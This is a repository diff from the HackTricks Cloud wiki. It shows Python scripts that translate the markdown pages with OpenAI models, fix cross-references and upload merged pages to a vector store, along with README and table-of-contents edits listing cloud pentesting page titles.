md_path.write_text(new_content, encoding="utf-8")
files_modified += 1
print(f" ✅ Fixed refs in {rel_with_src}")
else:
print(f" ❌ Failed to replace refs in {rel_with_src}")
except Exception as e:
print(f" ❌ Error fixing refs in {rel_with_src}: {e}")
# Check for files that exist in master refs but not in current branch
unexisted_files = 0
for master_file_rel in master_refs.keys():
if master_file_rel not in current_files:
rel_with_src = f"{SRC_DIR.name}/{master_file_rel}"
print(f"🗑️ {rel_with_src} (existed in master but not in current one)")
unexisted_files += 1
unmatched_files.append(rel_with_src)
# Save unmatched files to specified path if requested
if args.files_unmatched_paths and unmatched_files:
try:
unmatched_paths_file = Path(args.files_unmatched_paths)
unmatched_paths_file.parent.mkdir(parents=True, exist_ok=True)
with open(unmatched_paths_file, 'w', encoding='utf-8') as f:
f.write(','.join(list(set(unmatched_files))))
print(f"📝 Saved {len(unmatched_files)} unmatched file paths to: {unmatched_paths_file}")
except Exception as e:
print(f"❌ Error saving unmatched paths to {args.files_unmatched_paths}: {e}")
elif args.files_unmatched_paths and not unmatched_files:
# Create empty file if no unmatched files found
try:
unmatched_paths_file = Path(args.files_unmatched_paths)
unmatched_paths_file.parent.mkdir(parents=True, exist_ok=True)
unmatched_paths_file.write_text('\n', encoding='utf-8')
print(f"<EFBFBD> No unmatched files found. Created empty file: {unmatched_paths_file}")
except Exception as e:
print(f"❌ Error creating empty unmatched paths file {args.files_unmatched_paths}: {e}")
print(f"\n SUMMARY:")
print(f" Files processed: {files_processed}")
print(f" Files with different refs: {files_with_differences}")
print(f" Files modified: {files_modified}")
print(f" Non existing files: {unexisted_files}")
if unmatched_files:
print(f" Unmatched files: {len(unmatched_files)}")
if __name__ == "__main__":
main()

View File

@@ -1,38 +0,0 @@
#!/usr/bin/env python3
import json
import re
from pathlib import Path
SRC_DIR = Path("./src")
REFS_JSON = Path("/tmp/refs.json")
# Matches content between {{#ref}} and {{#endref}}, including newlines, lazily
REF_RE = re.compile(r"{{#ref}}\s*([\s\S]*?)\s*{{#endref}}", re.MULTILINE)
def extract_refs(text: str):
"""Return a list of refs (trimmed) in appearance order."""
return [m.strip() for m in REF_RE.findall(text)]
def main():
if not SRC_DIR.is_dir():
raise SystemExit(f"Not a directory: {SRC_DIR}")
refs_per_path = {} # { "relative/path.md": [ref1, ref2, ...] }
for md_path in sorted(SRC_DIR.rglob("*.md")):
rel = md_path.relative_to(SRC_DIR).as_posix()
try:
content = md_path.read_text(encoding="utf-8")
except UnicodeDecodeError:
# Fallback if encoding is odd
content = md_path.read_text(errors="replace")
refs = extract_refs(content)
refs_per_path[rel] = refs # keep order from findall
REFS_JSON.write_text(json.dumps(refs_per_path, indent=2, ensure_ascii=False) + "\n", encoding="utf-8")
print(f"Wrote {REFS_JSON} with {len(refs_per_path)} files.")
if __name__ == "__main__":
main()

View File

@@ -12,25 +12,15 @@ from tqdm import tqdm #pip3 install tqdm
import traceback
MASTER_BRANCH = "master"
VERBOSE = True
MAX_TOKENS = 50000 #gpt-4-1106-preview
DISALLOWED_SPECIAL = "<|endoftext|>"
REPLACEMENT_TOKEN = "<END_OF_TEXT>"
def _sanitize(text: str) -> str:
"""
Replace the reserved tiktoken token with a harmless placeholder.
Called everywhere a string can flow into tiktoken.encode() or the
OpenAI client.
"""
return text.replace(DISALLOWED_SPECIAL, REPLACEMENT_TOKEN)
MAX_TOKENS = 10000 #gpt-4-1106-preview
def reportTokens(prompt, model):
encoding = tiktoken.encoding_for_model(model)
# print number of tokens in light gray, with first 50 characters of prompt in green. if truncated, show that it is truncated
#print("\033[37m" + str(len(encoding.encode(prompt))) + " tokens\033[0m" + " in prompt: " + "\033[92m" + prompt[:50] + "\033[0m" + ("..." if len(prompt) > 50 else ""))
prompt = _sanitize(prompt)
return len(encoding.encode(prompt))
@@ -46,37 +36,35 @@ def get_branch_files(branch):
files = result.stdout.decode().splitlines()
return set(files)
def get_unused_files(branch):
def delete_unique_files(branch):
"""Delete files that are unique to branch2."""
# Get the files in each branch
files_branch_master = get_branch_files(MASTER_BRANCH)
files_branch_lang = get_branch_files(branch)
files_branch1 = get_branch_files(MASTER_BRANCH)
files_branch2 = get_branch_files(branch)
# Find the files that are in branch2 but not in branch1
unique_files = files_branch_lang - files_branch_master
unique_files = files_branch2 - files_branch1
return unique_files
if unique_files:
# Switch to the second branch
subprocess.run(["git", "checkout", branch])
# Delete the unique files from the second branch
for file in unique_files:
subprocess.run(["git", "rm", file])
subprocess.run(["git", "checkout", MASTER_BRANCH])
print(f"[+] Deleted {len(unique_files)} files from branch: {branch}")
def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translate_files):
"""
Get the translated files from the temp folder and copy them to the repo directory in the expected branch.
Also remove all the files that are not in the master branch.
"""
branch_exists = subprocess.run(['git', 'show-ref', '--verify', '--quiet', 'refs/heads/' + branch])
# If branch doesn't exist, create it
if branch_exists.returncode != 0:
subprocess.run(['git', 'checkout', '-b', branch])
else:
subprocess.run(['git', 'checkout', branch])
# Get files to delete
files_to_delete = get_unused_files(branch)
# Delete files
for file in files_to_delete:
os.remove(file)
print(f"[+] Deleted {file}")
# Walk through source directory
for dirpath, dirnames, filenames in os.walk(temp_folder):
@@ -91,72 +79,32 @@ def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translat
for file_name in filenames:
src_file = os.path.join(dirpath, file_name)
shutil.copy2(src_file, dest_path)
if not "/images/" in src_file and not "/theme/" in src_file:
print(f"[+] Copied from {src_file} to {file_name}")
print(f"Translated files copied to branch: {branch}")
if translate_files:
commit_and_push(translate_files, branch)
subprocess.run(['git', 'add', "-A"])
subprocess.run(['git', 'commit', '-m', f"Translated {translate_files} to {branch}"[:72]])
subprocess.run(['git', 'checkout', MASTER_BRANCH])
print("Commit created and moved to master branch")
else:
print("No commiting anything, leaving in language branch")
def commit_and_push(translate_files, branch):
# Define the commands we want to run
commands = [
['git', 'add', '-A'],
['git', 'commit', '-m', f"Translated {translate_files} to {branch}"[:72]],
['git', 'push', '--set-upstream', 'origin', branch],
]
for cmd in commands:
result = subprocess.run(cmd, capture_output=True, text=True)
# Print stdout and stderr (if any)
if result.stdout:
print(f"STDOUT for {cmd}:\n{result.stdout}")
if "nothing to commit" in result.stdout.lower():
print("Nothing to commit, leaving")
exit(0)
if result.stderr:
print(f"STDERR for {cmd}:\n{result.stderr}")
# Check for errors
if result.returncode != 0:
raise RuntimeError(
f"Command `{cmd}` failed with exit code {result.returncode}"
)
print("Commit created and pushed")
def translate_text(language, text, file_path, model, cont=0, slpitted=False, client=None):
if not text:
return text
messages = [
{"role": "system", "content": "You are a professional hacker, translator and writer. You translate everything super clear and as concise as possible without loosing information. Do not return invalid Unicode output and do not translate markdown or html tags or links."},
{"role": "system", "content": f"""The following is content from a hacking book about technical hacking techiques. The following given content is from the file {file_path}.
Translate the relevant English text to {language} and return the translation keeping exactly the same markdown and html syntax and following this guidance:
- Don't translate things like code, hacking technique names, common hacking words, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, links and markdown tags.
- Don't translate links or paths, e.g. if a link or ref is to "lamda-post-exploitation.md" don't translate that path to the language.
- Don't translate or modify tags, links, refs and paths like in:
- {{#tabs}}
- {{#tab name="Method1"}}
- {{#ref}}\ngeneric-methodologies-and-resources/pentesting-methodology.md\n{{#endref}}
- {{#include ./banners/hacktricks-training.md}}
- {{#ref}}macos-tcc-bypasses/{{#endref}}
- {{#ref}}0.-basic-llm-concepts.md{{#endref}}
- Don't translate any other tag, just return markdown and html content as is.
Also don't add any extra stuff in your response that is not part of the translation and markdown syntax."""},
{"role": "system", "content": "You are a professional hacker, translator and writer. You write everything super clear and as concise as possible without loosing information. Do not return invalid Unicode output."},
{"role": "system", "content": f"The following is content from a hacking book about hacking techiques. The following content is from the file {file_path}. Translate the relevant English text to {language} and return the translation keeping excatly the same markdown and html syntax. Do not translate things like code, hacking technique names, hacking word, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, and markdown tags. Also don't add any extra stuff apart from the translation and markdown syntax."},
{"role": "user", "content": text},
]
try:
response = client.chat.completions.create(
model=model,
messages=messages,
temperature=1 # 1 because gpt-5 doesn't support other
temperature=0
)
except Exception as e:
print("Python Exception: " + str(e))
@@ -201,9 +149,6 @@ Also don't add any extra stuff in your response that is not part of the translat
return translate_text(language, text, file_path, model, cont, False, client)
response_message = response.choices[0].message.content.strip()
response_message = response_message.replace("bypassy", "bypasses") # PL translations translates that from time to time
response_message = response_message.replace("Bypassy", "Bypasses")
response_message = response_message.replace("-privec.md", "-privesc.md") # PL translations translates that from time to time
# Sometimes chatgpt modified the number of "#" at the beginning of the text, so we need to fix that. This is specially important for the first line of the MD that mucst have only 1 "#"
cont2 = 0
@@ -225,11 +170,9 @@ def split_text(text, model):
chunks = []
chunk = ''
in_code_block = False
in_ref = False
for line in lines:
# Keep code blocks as one chunk
# If we are in a code block, just add the code to the chunk
if line.startswith('```'):
# If we are in a code block, finish it with the "```"
@@ -245,24 +188,8 @@ def split_text(text, model):
chunk += line + '\n'
continue
"""
Prevent refs using `` like:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md`
{{#endref}}
"""
if line.startswith('{{#ref}}'):
in_ref = True
if in_ref:
line = line.replace("`", "")
if line.startswith('{{#endref}}'):
in_ref = False
# If new section, see if we should be splitting the text
if (line.startswith('#') and reportTokens(chunk + "\n" + line.strip(), model) > MAX_TOKENS*0.8) or \
reportTokens(chunk + "\n" + line.strip(), model) > MAX_TOKENS:
@@ -275,30 +202,23 @@ def split_text(text, model):
return chunks
def copy_dirs(source_path, dest_path, folder_names):
for folder_name in folder_names:
source_folder = os.path.join(source_path, folder_name)
destination_folder = os.path.join(dest_path, folder_name)
if not os.path.exists(source_folder):
print(f"Error: {source_folder} does not exist.")
else:
# Copy the theme folder
shutil.copytree(source_folder, destination_folder)
print(f"Copied {folder_name} folder from {source_folder} to {destination_folder}")
def copy_gitbook_dir(source_path, dest_path):
folder_name = ".gitbook/"
source_folder = os.path.join(source_path, folder_name)
destination_folder = os.path.join(dest_path, folder_name)
if not os.path.exists(source_folder):
print(f"Error: {source_folder} does not exist.")
else:
# Copy the .gitbook folder
shutil.copytree(source_folder, destination_folder)
print(f"Copied .gitbook folder from {source_folder} to {destination_folder}")
def move_files_to_push(source_path, dest_path, relative_file_paths):
for file_path in relative_file_paths:
source_filepath = os.path.join(source_path, file_path)
dest_filepath = os.path.join(dest_path, file_path)
if not os.path.exists(source_filepath):
print(f"Error: {source_filepath} does not exist.")
else:
shutil.copy2(source_filepath, dest_filepath)
print(f"[+] Copied {file_path}")
def copy_files(source_path, dest_path):
file_names = ["src/SUMMARY.md", "hacktricks-preprocessor.py", "book.toml", ".gitignore", "src/robots.txt"]
move_files_to_push(source_path, dest_path, file_names)
def copy_summary(source_path, dest_path):
file_name = "src/SUMMARY.md"
source_filepath = os.path.join(source_path, file_name)
dest_filepath = os.path.join(dest_path, file_name)
shutil.copy2(source_filepath, dest_filepath)
print("[+] Copied SUMMARY.md")
def translate_file(language, file_path, file_dest_path, model, client):
global VERBOSE
@@ -314,7 +234,7 @@ def translate_file(language, file_path, file_dest_path, model, client):
translated_content = ''
start_time = time.time()
for chunk in content_chunks:
# Don't translate code blocks
# Don't trasnlate code blocks
if chunk.startswith('```'):
translated_content += chunk + '\n'
else:
@@ -328,10 +248,9 @@ def translate_file(language, file_path, file_dest_path, model, client):
f.write(translated_content)
#if VERBOSE:
print(f"Page {file_path} translated in {file_dest_path} in {elapsed_time:.2f} seconds")
print(f"Page {file_path} translated in {elapsed_time:.2f} seconds")
"""
def translate_directory(language, source_path, dest_path, model, num_threads, client):
all_markdown_files = []
for subdir, dirs, files in os.walk(source_path):
@@ -361,17 +280,17 @@ def translate_directory(language, source_path, dest_path, model, num_threads, cl
tb = traceback.format_exc()
print(f'Translation generated an exception: {exc}')
print("Traceback:", tb)
"""
if __name__ == "__main__":
print("- Version 2.0.0")
print("- Version 1.1.1")
# Set up argparse
parser = argparse.ArgumentParser(description='Translate gitbook and copy to a new branch.')
#parser.add_argument('-d', '--directory', action='store_true', help='Translate a full directory.')
parser.add_argument('-d', '--directory', action='store_true', help='Translate a full directory.')
parser.add_argument('-l', '--language', required=True, help='Target language for translation.')
parser.add_argument('-b', '--branch', required=True, help='Branch name to copy translated files.')
parser.add_argument('-k', '--api-key', required=True, help='API key to use.')
parser.add_argument('-m', '--model', default="gpt-5-mini", help='The openai model to use. By default: gpt-5-mini')
parser.add_argument('-m', '--model', default="gpt-4o-mini", help='The openai model to use. By default: gpt-4o-mini')
parser.add_argument('-o', '--org-id', help='The org ID to use (if not set the default one will be used).')
parser.add_argument('-f', '--file-paths', help='If this is set, only the indicated files will be translated (" , " separated).')
parser.add_argument('-n', '--dont-cd', action='store_false', help="If this is true, the script won't change the current directory.")
@@ -426,7 +345,7 @@ if __name__ == "__main__":
translate_files = None # Need to initialize it here to avoid error
if args.file_paths:
# Translate only the indicated file
translate_files = list(set([f.strip() for f in args.file_paths.split(',') if f]))
translate_files = [f for f in args.file_paths.split(' , ') if f]
for file_path in translate_files:
#with tqdm(total=len(all_markdown_files), desc="Translating Files") as pbar:
with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
@@ -440,21 +359,23 @@ if __name__ == "__main__":
#pbar.update()
except Exception as exc:
print(f'Translation generated an exception: {exc}')
#elif args.directory:
# Delete possibly removed files from the master branch
delete_unique_files(branch)
elif args.directory:
# Translate everything
#translate_directory(language, source_folder, dest_folder, model, num_threads, client)
translate_directory(language, source_folder, dest_folder, model, num_threads, client)
else:
print("You need to indicate either a directory or a list of files to translate.")
exit(0)
exit(1)
# Copy Summary
copy_files(source_folder, dest_folder)
# Copy summary
copy_summary(source_folder, dest_folder)
# Copy .gitbook folder
folder_names = ["theme/", "src/images/"]
copy_dirs(source_folder, dest_folder, folder_names)
copy_gitbook_dir(source_folder, dest_folder)
# Create the branch and copy the translated files
cp_translation_to_repo_dir_and_check_gh_branch(branch, dest_folder, translate_files)

View File

@@ -1,297 +0,0 @@
import os
import requests
import zipfile
import tempfile
import time
import glob
import re
from openai import OpenAI
# Initialize OpenAI client
client = OpenAI(api_key=os.getenv("MY_OPENAI_API_KEY"))
# Vector Store ID
VECTOR_STORE_ID = "vs_67e9f92e8cc88191911be54f81492fb8"
# --------------------------------------------------
# Step 1: Download and Extract Markdown Files
# --------------------------------------------------
def download_zip(url, save_path):
print(f"Downloading zip from: {url}")
response = requests.get(url)
response.raise_for_status() # Ensure the download succeeded
with open(save_path, "wb") as f:
f.write(response.content)
print(f"Downloaded zip from: {url}")
def extract_markdown_files(zip_path, extract_dir):
print(f"Extracting zip: {zip_path} to {extract_dir}")
with zipfile.ZipFile(zip_path, "r") as zip_ref:
zip_ref.extractall(extract_dir)
# Recursively find all .md files
md_files = glob.glob(os.path.join(extract_dir, "**", "*.md"), recursive=True)
return md_files
# Repository URLs
hacktricks_url = "https://github.com/HackTricks-wiki/hacktricks/archive/refs/heads/master.zip"
hacktricks_cloud_url = "https://github.com/HackTricks-wiki/hacktricks-cloud/archive/refs/heads/main.zip"
# Temporary directory for downloads and extraction
temp_dir = tempfile.mkdtemp()
try:
# Download zip archives
print("Downloading Hacktricks repositories...")
hacktricks_zip = os.path.join(temp_dir, "hacktricks.zip")
hacktricks_cloud_zip = os.path.join(temp_dir, "hacktricks_cloud.zip")
download_zip(hacktricks_url, hacktricks_zip)
download_zip(hacktricks_cloud_url, hacktricks_cloud_zip)
# Extract the markdown files
hacktricks_extract_dir = os.path.join(temp_dir, "hacktricks")
hacktricks_cloud_extract_dir = os.path.join(temp_dir, "hacktricks_cloud")
md_files_hacktricks = extract_markdown_files(hacktricks_zip, hacktricks_extract_dir)
md_files_hacktricks_cloud = extract_markdown_files(hacktricks_cloud_zip, hacktricks_cloud_extract_dir)
all_md_files = md_files_hacktricks + md_files_hacktricks_cloud
print(f"Found {len(all_md_files)} markdown files.")
finally:
# Optional cleanup of temporary files after processing
# shutil.rmtree(temp_dir)
pass
# --------------------------------------------------
# Step 2: Remove All Existing Files in the Vector Store
# --------------------------------------------------
# List current files in the vector store and delete each one.
existing_files = list(client.vector_stores.files.list(VECTOR_STORE_ID))
print(f"Found {len(existing_files)} files in the vector store. Removing them...")
for file_obj in existing_files:
# Delete the underlying file object; this removes it from the vector store.
try:
client.files.delete(file_id=file_obj.id)
print(f"Deleted file: {file_obj.id}")
time.sleep(1) # Give it a moment to ensure the deletion is processed
except Exception as e:
# Handle potential errors during deletion
print(f"Error deleting file {file_obj.id}: {e}")
# ----------------------------------------------------
# Step 3: Clean markdown Files
# ----------------------------------------------------
# Clean markdown files and marge them so it's easier to
# uplaod to the vector store.
def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
def clean_file_content(file_path):
"""Clean the content of a single file and return the cleaned lines."""
with open(file_path, "r", encoding="utf-8") as f:
content = f.readlines()
cleaned_lines = []
inside_hint = False
for i,line in enumerate(content):
# Skip lines containing excluded keywords
if any(keyword in line for keyword in exclude_keywords):
continue
# Detect and skip {% hint %} ... {% endhint %} blocks
if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
inside_hint = True
if "{% endhint %}" in line:
inside_hint = False
continue
if inside_hint:
continue
if line.startswith("#") and "reference" in line.lower(): #If references part reached, just stop reading the file
break
# Skip lines with <figure> ... </figure>
if re.match(r"<figure>.*?</figure>", line):
continue
# Add the line if it passed all checks
cleaned_lines.append(line.rstrip())
# Remove excess consecutive empty lines
cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
return cleaned_lines
def remove_consecutive_empty_lines(lines):
"""Allow no more than one consecutive empty line."""
cleaned_lines = []
previous_line_empty = False
for line in lines:
if line.strip() == "":
if not previous_line_empty:
cleaned_lines.append("")
previous_line_empty = True
else:
cleaned_lines.append(line)
previous_line_empty = False
return cleaned_lines
def gather_files_in_order(start_folder):
"""Gather all .md files in a depth-first order."""
files = []
for root, _, filenames in os.walk(start_folder):
md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md") and f.lower() not in ["summary.md", "references.md"]])
files.extend(md_files)
return files
# Gather files in depth-first order
all_files = gather_files_in_order(start_folder)
# Process files and merge into a single output
with open(output_file, "w", encoding="utf-8") as output:
for file_path in all_files:
# Clean the content of the file
cleaned_content = clean_file_content(file_path)
# Skip saving if the cleaned file has fewer than 10 non-empty lines
if len([line for line in cleaned_content if line.strip()]) < 10:
continue
# Get the name of the file for the header
file_name = os.path.basename(file_path)
# Write header, cleaned content, and 2 extra new lines
output.write(f"### Start file: {file_name} ###\n\n")
output.write("\n".join(cleaned_content))
output.write("\n\n")
# Specify the starting folder and output file
start_folder = os.getcwd()
# Keywords to exclude from lines
exclude_keywords = [
"hacktricks-training.md",
"![](<", # Skip lines with images
"/images/" # Skip lines with images
"STM Cyber", # STM Cyber ads
"offer several valuable cybersecurity services", # STM Cyber ads
"and hack the unhackable", # STM Cyber ads
"blog.stmcyber.com", # STM Cyber ads
"RootedCON", # RootedCON ads
"rootedcon.com", # RootedCON ads
"the mission of promoting technical knowledge", # RootedCON ads
"Intigriti", # Intigriti ads
"intigriti.com", # Intigriti ads
"Trickest", # Trickest ads
"trickest.com", # Trickest ads,
"Get Access Today:",
"HACKENPROOF", # Hackenproof ads
"hackenproof.com", # Hackenproof ads
"HackenProof", # Hackenproof ads
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
"Hacking Insights:", # Hackenproof ads
"Engage with content that delves", # Hackenproof ads
"Real-Time Hack News:", # Hackenproof ads
"Keep up-to-date with fast-paced", # Hackenproof ads
"Latest Announcements:", # Hackenproof ads
"Stay informed with the newest bug", # Hackenproof ads
"start collaborating with top hackers today!", # Hackenproof ads
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
"Pentest-Tools", # Pentest-Tools.com ads
"pentest-tools.com", # Pentest-Tools.com ads
"perspective on your web apps, network, and", # Pentest-Tools.com ads
"report critical, exploitable vulnerabilities with real business impact", # Pentest-Tools.com ads
"SerpApi", # SerpApi ads
"serpapi.com", # SerpApi ads
"offers fast and easy real-time", # SerpApi ads
"plans includes access to over 50 different APIs for scraping", # SerpApi ads
"8kSec", # 8kSec ads
"academy.8ksec.io", # 8kSec ads
"Learn the technologies and skills required", # 8kSec ads
"WebSec", # WebSec ads
"websec.nl", # WebSec ads
"which means they do it all; Pentesting", # WebSec ads
]
# Clean and merge .md files
ht_file = os.path.join(tempfile.gettempdir(), "hacktricks.md")
htc_file = os.path.join(tempfile.gettempdir(), "hacktricks-cloud.md")
clean_and_merge_md_files(hacktricks_extract_dir, exclude_keywords, ht_file)
print(f"Merged content has been saved to: {ht_file}")
clean_and_merge_md_files(hacktricks_cloud_extract_dir, exclude_keywords, htc_file)
print(f"Merged content has been saved to: {htc_file}")
# ----------------------------------------------------
# Step 4: Upload All Markdown Files to the Vector Store
# ----------------------------------------------------
# Upload two files to the vector store.
# Uploading .md hacktricks files individually can be slow,
# so thats why we merged it before into just 2 files.
file_streams = []
ht_stream = open(ht_file, "rb")
file_streams.append(ht_stream)
htc_stream = open(htc_file, "rb")
file_streams.append(htc_stream)
file_batch = client.vector_stores.file_batches.upload_and_poll(
vector_store_id=VECTOR_STORE_ID,
files=file_streams
)
time.sleep(60) # Sleep for a minute to ensure the upload is processed
ht_stream.close()
htc_stream.close()
""""This was to upload each .md independently, wich turned out to be a nightmare
# Ensure we don't exceed the maximum number of file streams
for file_path in all_md_files:
# Check if we have reached the maximum number of streams
if len(file_streams) >= 300:
print("Reached maximum number of file streams (300). Uploading current batch...")
# Upload the current batch before adding more files
file_batch = client.vector_stores.file_batches.upload_and_poll(
vector_store_id=VECTOR_STORE_ID,
files=file_streams
)
print("Upload status:", file_batch.status)
print("File counts:", file_batch.file_counts)
# Clear the list for the next batch
file_streams = []
time.sleep(120) # Sleep for 2 minutes to avoid hitting API limits
try:
stream = open(file_path, "rb")
file_streams.append(stream)
except Exception as e:
print(f"Error opening {file_path}: {e}")
if file_streams:
# Upload files and poll for completion
file_batch = client.vector_stores.file_batches.upload_and_poll(
vector_store_id=VECTOR_STORE_ID,
files=file_streams
)
print("Upload status:", file_batch.status)
print("File counts:", file_batch.file_counts)
else:
print("No markdown files to upload.")"
# Close all file streams
for stream in file_streams:
stream.close()
"""

File diff suppressed because one or more lines are too long

View File

@@ -4,10 +4,9 @@
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
_Hacktricks logos & motion designed by_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
### Run HackTricks Cloud Locally
_Hacktricks logos & motion diseñados por_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
### Ejecutar HackTricks Cloud localmente
```bash
# Download latest version of hacktricks cloud
git clone https://github.com/HackTricks-wiki/hacktricks-cloud
@@ -34,30 +33,28 @@ export LANG="master" # Leave master for English
# Run the docker container indicating the path to the hacktricks-cloud folder
docker run -d --rm --platform linux/amd64 -p 3377:3000 --name hacktricks_cloud -v $(pwd)/hacktricks-cloud:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
```
Tu copia local de HackTricks Cloud estará **disponible en [http://localhost:3377](http://localhost:3377)** después de un minuto.
Your local copy of HackTricks Cloud will be **available at [http://localhost:3377](http://localhost:3377)** after a minute.
### **Metodología de Pentesting CI/CD**
### **Pentesting CI/CD Methodology**
**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
**En la Metodología de Pentesting CI/CD de HackTricks encontrarás cómo realizar pentesting en la infraestructura relacionada con actividades de CI/CD.** Lee la siguiente página para una **introducción:**
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
### Pentesting Cloud Methodology
### Metodología de Pentesting Cloud
**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:**
**En la Metodología Cloud de HackTricks encontrarás cómo realizar pentesting en entornos cloud.** Lee la siguiente página para una **introducción:**
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
### License & Disclaimer
### Licencia y Descargo de responsabilidad
**Check them in:**
**Consúltalas en:**
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
### Github Stats
### Estadísticas de Github
![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg)
![Estadísticas de HackTricks Cloud en Github](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg)
{{#include ./banners/hacktricks-training.md}}

View File

@@ -9,6 +9,7 @@
# 🏭 Pentesting CI/CD
- [Pentesting CI/CD Methodology](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
- [Docker Build Context Abuse in Cloud Envs](pentesting-ci-cd/docker-build-context-abuse.md)
- [Gitblit Security](pentesting-ci-cd/gitblit-security/README.md)
- [Ssh Auth Bypass](pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md)
- [Github Security](pentesting-ci-cd/github-security/README.md)
@@ -41,6 +42,7 @@
- [Atlantis Security](pentesting-ci-cd/atlantis-security.md)
- [Cloudflare Security](pentesting-ci-cd/cloudflare-security/README.md)
- [Cloudflare Domains](pentesting-ci-cd/cloudflare-security/cloudflare-domains.md)
- [Cloudflare Workers Pass Through Proxy Ip Rotation](pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md)
- [Cloudflare Zero Trust Network](pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md)
- [Okta Security](pentesting-ci-cd/okta-security/README.md)
- [Okta Hardening](pentesting-ci-cd/okta-security/okta-hardening.md)
@@ -55,6 +57,7 @@
# ⛈️ Pentesting Cloud
- [Pentesting Cloud Methodology](pentesting-cloud/pentesting-cloud-methodology.md)
- [Luks2 Header Malleability Null Cipher Abuse](pentesting-cloud/confidential-computing/luks2-header-malleability-null-cipher-abuse.md)
- [Kubernetes Pentesting](pentesting-cloud/kubernetes-security/README.md)
- [Kubernetes Basics](pentesting-cloud/kubernetes-security/kubernetes-basics.md)
- [Pentesting Kubernetes Services](pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md)
@@ -84,6 +87,7 @@
- [GCP - Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/README.md)
- [GCP - App Engine Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md)
- [GCP - Artifact Registry Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md)
- [GCP - Bigtable Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md)
- [GCP - Cloud Build Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md)
- [GCP - Cloud Functions Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md)
- [GCP - Cloud Run Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md)
@@ -98,7 +102,6 @@
- [GCP - Pub/Sub Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md)
- [GCP - Secretmanager Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md)
- [GCP - Security Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md)
- [Gcp Vertex Ai Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md)
- [GCP - Workflows Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md)
- [GCP - Storage Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md)
- [GCP - Privilege Escalation](pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md)
@@ -107,6 +110,7 @@
- [GCP - Artifact Registry Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md)
- [GCP - Batch Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md)
- [GCP - BigQuery Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md)
- [GCP - Bigtable Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md)
- [GCP - ClientAuthConfig Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md)
- [GCP - Cloudbuild Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md)
- [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
@@ -121,6 +125,7 @@
- [GCP - Deploymentmaneger Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md)
- [GCP - IAM Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md)
- [GCP - KMS Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md)
